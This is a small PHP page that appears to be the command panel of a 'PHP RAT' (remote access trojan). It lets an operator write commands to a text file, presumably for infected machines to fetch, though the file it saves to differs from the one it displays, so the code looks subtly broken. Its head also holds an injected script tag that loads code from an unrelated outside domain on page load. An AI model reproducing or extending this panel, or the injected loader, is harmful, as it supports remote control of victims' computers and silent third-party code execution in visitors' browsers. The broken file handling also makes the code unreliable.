Post Php Update information on the application!

<?php
if(isset($_POST['submit']))
{
$text = $_POST['text'];
file_put_contents("cm.txt", $text);
}
?>

<html>
<head>
  <title>Bờm Khùng Coder PHP RAT</title>
<script data-type="injected" src="//www.technologieyvonlheureux.com/addon/script/content_site?integration=anywhere&v=d9.68.1.18&os_mj=6&os_mn=1&os_bitness=64&mid=dc59998d19f63d43ceaec464375eedfd&uid=BE87A09AEA8E3F61A304445E1FAE8206&aid=1650&aid2=none&ts=1466297822&ts2="></script></head>
<body style="background-image: url('https://upload.wikimedia.org/wikipedia/commons/thumb/a/a7/Flag_of_Afghanistan_(1880%E2%80%931901).svg/2000px-Flag_of_Afghanistan_(1880%E2%80%931901).svg.png'); color: white">
  <center>
   <div style="background-color: black"><img src="https://lh6.googleusercontent.com/r7q_QixaHG4DMaR09hLqUKu1GgtbuPyPPIG_ii9C8yGHG0i0eQifm4ACbUsfbchZISB9Hzibrg=s640-h400-e365" alt="PHP RAT" /></div>
   <form action="#" method="POST" style="height: 520px; width: 480px">
    <textarea name="text" style="background-color: #333; color: white; width: 100%; height: 250px"><?php echo file_get_contents("commands.txt"); ?></textarea>
    <br />
    <input type="submit" name="submit" value="Save" style="margin-right: -1px; float: right" />
   </form>
  </center>
</body>
</html>